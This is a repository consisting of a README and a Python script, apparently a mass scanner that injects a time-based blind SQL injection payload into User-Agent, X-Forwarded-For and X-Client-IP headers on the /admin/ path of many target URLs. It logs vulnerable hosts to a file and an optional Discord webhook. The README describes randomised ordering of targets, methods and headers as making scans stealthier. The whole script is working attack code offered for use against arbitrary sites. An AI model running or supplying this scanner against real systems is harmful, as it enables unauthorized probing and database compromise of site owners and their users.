├── README.md └── scanner.py /README.md: -------------------------------------------------------------------------------- 1 | A simple Python script to scan multiple targets for SQL Injection via HTTP headers like **User-Agent**, **X-Forwarded-For**, and **X-Client-IP**. 2 | 3 | The scanner detects time-based blind SQLi vulnerabilities by measuring response delays when a SLEEP() payload is injected. 4 | 5 | ### Features: 6 | 7 | * Supports **Discord webhook** for instant alerts 8 | * Shuffles the list of URLs before scanning, so every scan is random and stealthier. 9 | * Randomizes GET, POST, PUT, OPTIONS, HEAD, PATCH method order per target. 10 | * Randomizes header fuzzing order (User-Agent, X-Forwarded-For, X-Client-IP). 11 | * Sends the SQLi payload into only one header per request (others stay clean). 12 | * Saves each request into Burp-ready .txt files inside a requests_TIMESTAMP/ folder. 13 | 14 | ![image](https://github.com/user-attachments/assets/2e583a98-aa9f-46c6-9a98-72c23ff0b411) 15 | 16 | ![image](https://github.com/user-attachments/assets/10f20db4-83f4-4315-9d9e-2a42415622c8) 17 | 18 | -------------------------------------------------------------------------------- /scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | import time 4 | import random 5 | import urllib3 6 | import os 7 | from datetime import datetime 8 | from colorama import Fore, Style, init 9 | 10 | init(autoreset=True) 11 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 12 | 13 | DISCORD_WEBHOOK = "" # <-- Put your Discord webhook here if you want 14 | 15 | PROXIES = { 16 | # "http": "http://127.0.0.1:8080", 17 | # "https": "http://127.0.0.1:8080" 18 | } 19 | 20 | payload = 'nvn"xor(if(now()=sysdate(),SLEEP(6),0))xor"nvn' 21 | 22 | base_headers = { 23 | "User-Agent": "normal-useragent", 24 | "X-Forwarded-For": "normal-xff", 25 | "X-Client-IP": "normal-clientip", 26 | "X-Requested-With": "XMLHttpRequest", 27 | "Accept": "*/*" 28 | } 29 | 30 | headers_to_test = ["User-Agent", "X-Forwarded-For", "X-Client-IP"] 31 | 32 | methods_to_test = ["GET", "POST", "PUT", "OPTIONS", "HEAD", "PATCH"] 33 | 34 | timestamp = datetime.now().strftime("%Y%m%d-%H%M%S") 35 | output_file = "vulnerable_endpoints_%s.txt" % timestamp 36 | 37 | def send_discord_alert(url, method, header, attack_headers): 38 | if DISCORD_WEBHOOK: 39 | try: 40 | data = { 41 | "content": "🚨 **SQLi Vulnerable**\n**URL:** `%s`\n**Method:** `%s`\n**Injected Header:** `%s`\n**Attack Headers:**\n```%s```" % ( 42 | url, method, header, "\n".join("%s: %s" % (k, v) for k, v in attack_headers.items()) 43 | ) 44 | } 45 | requests.post(DISCORD_WEBHOOK, json=data, proxies=PROXIES, verify=False) 46 | except Exception as e: 47 | print(Fore.YELLOW + "[!!] Discord alert failed: %s" % str(e) + Style.RESET_ALL) 48 | 49 | def is_vulnerable(url, method, injected_header): 50 | try: 51 | headers = base_headers.copy() 52 | headers[injected_header] = payload 53 | start = time.time() 54 | if method == "GET": 55 | response = requests.get(url + "/admin/", headers=headers, timeout=10, verify=False, proxies=PROXIES) 56 | elif method == "POST": 57 | response = requests.post(url + "/admin/", headers=headers, data={"test": "test"}, timeout=10, verify=False, proxies=PROXIES) 58 | elif method == "PUT": 59 | response = requests.put(url + "/admin/", headers=headers, data={"test": "test"}, timeout=10, verify=False, proxies=PROXIES) 60 | elif method == "OPTIONS": 61 | response = requests.options(url + "/admin/", headers=headers, timeout=10, verify=False, proxies=PROXIES) 62 | elif method == "HEAD": 63 | response = requests.head(url + "/admin/", headers=headers, timeout=10, verify=False, proxies=PROXIES) 64 | elif method == "PATCH": 65 | response = requests.patch(url + "/admin/", headers=headers, data={"test": "test"}, timeout=10, verify=False, proxies=PROXIES) 66 | else: 67 | return False, None, None 68 | duration = time.time() - start 69 | return duration > 5.5, response.status_code, method 70 | except Exception: 71 | return False, None, method 72 | 73 | def main(file_path): 74 | with open(file_path, 'r') as f: 75 | raw_urls = [line.strip() for line in f if line.strip()] 76 | 77 | urls = [] 78 | for line in raw_urls: 79 | if not line.startswith("http://") and not line.startswith("https://"): 80 | line = "https://" + line 81 | urls.append(line) 82 | 83 | random.shuffle(urls) 84 | 85 | print("\n[+] Loaded %d targets. Starting scan...\n" % len(urls)) 86 | 87 | for idx, url in enumerate(urls): 88 | print("\n[%d/%d] Testing: %s" % (idx + 1, len(urls), url)) 89 | random.shuffle(methods_to_test) 90 | for method in methods_to_test: 91 | random.shuffle(headers_to_test) 92 | for header in headers_to_test: 93 | print(" [*] Trying %s with header %s..." % (method, header)) 94 | vulnerable, status, used_method = is_vulnerable(url, method, header) 95 | if vulnerable: 96 | print(Fore.GREEN + " [!!] Vulnerable! %s | Status: %s | Method: %s | Header: %s" % (url, status, used_method, header) + Style.RESET_ALL) 97 | with open(output_file, "a") as out: 98 | out.write("%s | %s | %s\n" % (url, used_method, header)) 99 | out.flush() 100 | os.fsync(out.fileno()) 101 | send_discord_alert(url, used_method, header, base_headers) 102 | break 103 | else: 104 | color = Fore.RED if status else Fore.YELLOW 105 | print(color + " [--] Not vulnerable | Status: %s" % (status if status else "Error/Timeout") + Style.RESET_ALL) 106 | time.sleep(3) 107 | else: 108 | continue 109 | break 110 | 111 | print("\n[+] Scan finished. Vulnerable results saved in: %s\n" % output_file) 112 | 113 | if __name__ == "__main__": 114 | parser = argparse.ArgumentParser(description="Multi-Method SQLi Scanner + Single File Export") 115 | parser.add_argument("-f", "--file", required=True, help="Path to file with target URLs") 116 | args = parser.parse_args() 117 | main(args.file) 118 | --------------------------------------------------------------------------------